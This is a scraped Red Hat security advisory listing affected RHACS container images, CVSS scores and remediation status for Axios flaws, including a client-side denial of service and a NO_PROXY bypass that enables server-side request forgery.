"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:04e380e189febad5d8dcbfaa68643963ab8d65d7089d32e30a1276837605e03a_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:10b0b798c4690002c7ffe064b84cf5d0bb6f52045cd15bfe79b15bd68d4fbe8c_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:444df0b47d23743e19022b4a92e2ee9dd345598fb31f9b947f0bbdab7f59d90e_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:a32574be1c7a5a9ef0aa8b8ce4946ffe4920cb72b402eb17d1ca07c43925faef_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:1563b3a0da76d7b35ecc4c563a8d347e9a558c8043da5c9588ad2f7f943a7ece_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:56e67cf62ffe4982d358ae06098da48f44175cd63239ebfb711b476404abb31a_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:e077a56adee93c70cc339a83e47805691758c4e187195b0dd1d567133a5b6661_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:fe09f895ec18082b40abbcd7e546bb4bfeceb8dd4d7f1bed85310096333baa1d_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:71e40863edd8c6275921449d977c396bf066e3ce87ad2c0e61f80003202637ab_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-fact-rhel8@sha256:b4789552297c62abde45025c53087f258273431fc4921cab693997bb3aebfaff_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:16792cdca53b00c9f3b8a318270fe2970ee8a8b5b7b54a68f3e3c8412f30d802_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:1c803425800df9af39869d7fe6512c954261a24228f017b8751d6fc93ee14d94_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:7a45d15348cd7c48aada943ba0e9d6381f845267873d5c81cfaf501de2a3ae5b_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:89e70cfaebf46d63cd2c3ddcb4f5b44cfca68d8ec7379a00da7266da7a91f20c_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:dbbd62683e39389f91b5937a9d17a414243db53bb901ba7ebe17d24f8c78480e_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:4713cf6657eee34d58a329610050db2c3884b635260935ca69099be6bdd62400_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a7a9a2165e13c9be2ccc1bcc157b33f1c3994256baf43f4ac4a76021c0880278_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:cde020c47589fd802cda98804da44218f34eec63396efb166a81274617d8acf4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:ceda1bd9270d37f947b4141be2a134767997f5135003b9d1f2007aed21c53a1e_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:0c5bd402788e93b9795dbaa3dd82272339858972059e0e1017bb12a7a5fa52a1_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:51c6efd982283db3ffeebc152e58874601f1660ce76700c7110d11bca1d06688_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:9ec58aa0b8f1617d0a3e824cadaa8c939dada1f22e98c3a818bd85b0947dd9a5_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:a0b8260a0c9b73d802891463c5427d1f3607acd62da928b1e4bd8aa7993649d4_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:348379199252e9c10cdc6268ce42ce039f12adc6e8e588b8105d2ce1e81ae439_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:423d831317c9019733c1b2191568dd4f00890a4d4e26ada3067b7ba43a2b9b48_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:9609056d08c8aff42326b2dea7733dc89ddfa019466c223bc0dfd22822627416_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:b693c67103bee5f49185b7cb2322ff174954b115938f0696d53a25b43f63f972_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:7624c0fe4943f89cb8ca709a9d84004ffe4a533498d2bba21a83a811e16da2a9_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:905f591f2e1e2e3dbd17bc8b1f903ae7b5fc8e573f3708eb3a97a70c5dc412dc_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:cefa60dedb2d65ba3d9324b7d37ef997300720f2e006014c1c79731ed3a1b2ba_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:f1c6ac0330ce4337dff577ed282f1aaec462027edb0ef3a48db11f8eea9be6e4_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:43b201e72f0ab1a59dddb5608bc814607ff1138572af3052af0199c468cecc47_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:68773c7eebb7f9764e3b0e6a49f7b025896764016896022504b7876ebc269af5_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:93ac1f8d14c6402ffa441b692ba8a28f95990a254835c69bf37165164eae895b_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f94d97d4e1c5a2d50b3a7be98032c4f54f7582300d27de605f804d041916a7b6_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:0cbdb571c33cc7f78a4ace9ac32271cabce2fb585d758972053924440a15d1f7_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:27ad8f03033572bac8d6e87a78a49018e5d1b6b4dfd0096365ec8668f1c97771_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:91ab6414f8e3559e3a424882dc40fe953990a6ad5efcaeb50fe0a6756f3e20c7_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:b5ee8b86ee6a8474158e60cfc26a676a355a9ed98076b73f905bca42b1085329_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:0d0f3c45b3806a428c1dcdb9814699a44d067398854adde5e8f984481496deaf_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:76c6c09e9315ad9b83ec34d0825a94bdb90effcc072d58f9cf6c6b60ab0365aa_ppc64le",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:8fd4674c282ee4da0095ea9611b25d25c4d70d522976fd7557eb93d07ca09296_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:f6db822767d0e5c8d3544cdbc565e58880dd1a628465100edef7c5a2d7510abe_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:4aab8cb0a2e5b8518bdd01bc0557c7768ca40b080b9a907d5885d3743debb627_s390x",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:e5659b1d9790c4bd5df3093b0a36dd4a0ca64ba224924d37e9dafc6aff5c83df_amd64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:ea9fba7212bc0621e1ed6b030b4c8a1fbe3a0f2491b6fdc192c14f8ef7a6ae27_arm64",
"Red Hat Advanced Cluster Security for Kubernetes 4.10:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fa3a268f648bce0d881c1b26395cbf16f4d556483e4455f17dfa5968438d4152_ppc64le"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "axios: Axios: Client-side Denial of Service via unescaped regex metacharacters in XSRF cookie name"
}
]
}
RHSA-2026:20938
Vulnerability from csaf_redhat - Published: 2026-05-26 14:29 - Updated: 2026-07-30 19:26Summary
Red Hat Security Advisory: RHACS 4.9.7 security and bug fix update
Severity
Important
Notes
Topic: Updated images are now available for Red Hat Advanced Cluster Security
(RHACS), which typically include new features, bug fixes, and/or
security patches.
Details: See the release notes (link in the references section) for a
description of the fixes and enhancements in this particular release.
Terms of Use: This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.
A flaw was found in Axios, a promise-based HTTP client. This vulnerability occurs because Axios does not correctly handle hostname normalization when evaluating NO_PROXY rules. An attacker can exploit this by crafting requests to loopback addresses (e.g., localhost. or [::1]) which bypass the NO_PROXY configuration and are routed through the configured proxy. This can lead to Server-Side Request Forgery (SSRF) vulnerabilities, enabling attackers to access sensitive internal or loopback services that should otherwise be protected.
7.0 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x | — |
Vendor Fix
fix
Workaround
|
Known not affected
41 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le | — |
Workaround
|
|
